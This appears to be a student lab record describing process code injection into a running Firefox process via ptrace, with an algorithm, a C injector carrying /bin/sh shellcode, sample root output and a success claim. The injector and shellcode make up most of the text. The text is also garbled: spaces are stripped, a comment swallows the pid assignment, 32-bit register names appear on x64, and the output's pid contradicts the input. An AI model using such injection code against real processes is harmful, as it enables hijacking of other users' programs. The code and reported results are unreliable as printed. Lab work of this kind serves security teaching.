EXPTNO:12 ROLLNO:220701259

PERFORMCODEINJECTION

AIM:

Todoprocesscodeinjection onFirefoxusingptracesystem call

ALGORITHM:

1. Findoutthe pidofthe runningFirefox program.
2. Createthe codeinjectionfile.
3. GetthepidoftheFirefox fromthecommandlinearguments.
4. Allocatememorybuffers forthe shellcode.
5. Attachto thevictim processwith PTRACE_ATTACH.
6. Gettheregistervaluesoftheattachedprocess.
7. UsePTRACE_POKETEXTtoinserttheshellcode.
8. DetachfromthevictimprocessusingPTRACE_DETACH

PROGRAMCODE:

INJECTORPROGRAM

```
#include<stdio.h>//Cstandardinputoutput
#include<stdlib.h>//CStandardGeneralUtilitiesLibrary #
include <string.h>//C string lib header
#include<unistd.h>//standardsymbolicconstantsandtypes #
include <sys/wait.h>//declarations for waiting
#include<sys/ptrace.h>//givesaccesstoptracefunctionality #
include <sys/user.h>//gives ref to regs
 //Theshellcodethatcalls/bin/sh char
shellcode[]={
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97""\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x
3b\x0f\x05"
   };
```

```
//headerforourprogram. void
header()
{
    printf("----Memorybytecodeinjector-------\n");
}

//mainprogramnoticewetakecommandlineoptions int
main(int argc,char**argv)
{
    inti,size,pid=0;
    structuser_regs_structreg;//structthatgivesaccesstoregisters
                              //notethatthisregswillbeinx64forme
                              //unlessyourusing32bitthenrip,eax,edxetc...
        char*buff;
        header();
        //wegetthecommandlineoptionsandassignthemappropriately! pid=atoi(argv[1]);
    size=sizeof(shellcode);
    //allocateacharsizememory
    buff=(char*)malloc(size);
    //fillthebuffmemorywith0suptosize
    memset(buff,0x0,size);
    //copyshellcodefromsourcetodestination
    memcpy(buff,shellcode,sizeof(shellcode));
        //attach process of pid
    ptrace(PTRACE_ATTACH,pid,0,0);

    //waitforchildtochangestate
    wait((int*)0);
        //getprocesspidregistersi.eCopytheprocesspid'sgeneral-purpose
    //orfloating-pointregisters,respectively,
    //totheaddressreginthetracer
```

```
    ptrace(PTRACE_GETREGS,pid,0,&reg);
    printf("WritingEIP0x%x,process%d\n",reg.eip,pid);
        //Copytheworddatatotheaddressbuffintheprocess'smemory
    for(i=0;i<size;i++){
    ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
}
    //detachfromtheprocessandfreebuffmemory
    ptrace(PTRACE_DETACH,pid,0,0);
    free(buff);
    return 0;

}
```

OUTPUT:

```
[root@localhost ~]# vi injector.c
[root@localhost~]#gccinjector.c-oinjector
[root@localhost ~]#ps -e|grep firefox
1433 ?    00:01:23firefox
[root@localhost ~]#
./injector1433
    ----Memorybytecodeinjector-----
WritingEIP0x6,process1707
     [root@localhost ~]#
```

RESULT:

Theimplementationofprocesscodeinjectiononfirefoxusingptrace systemcallisexecutedsuccessfully.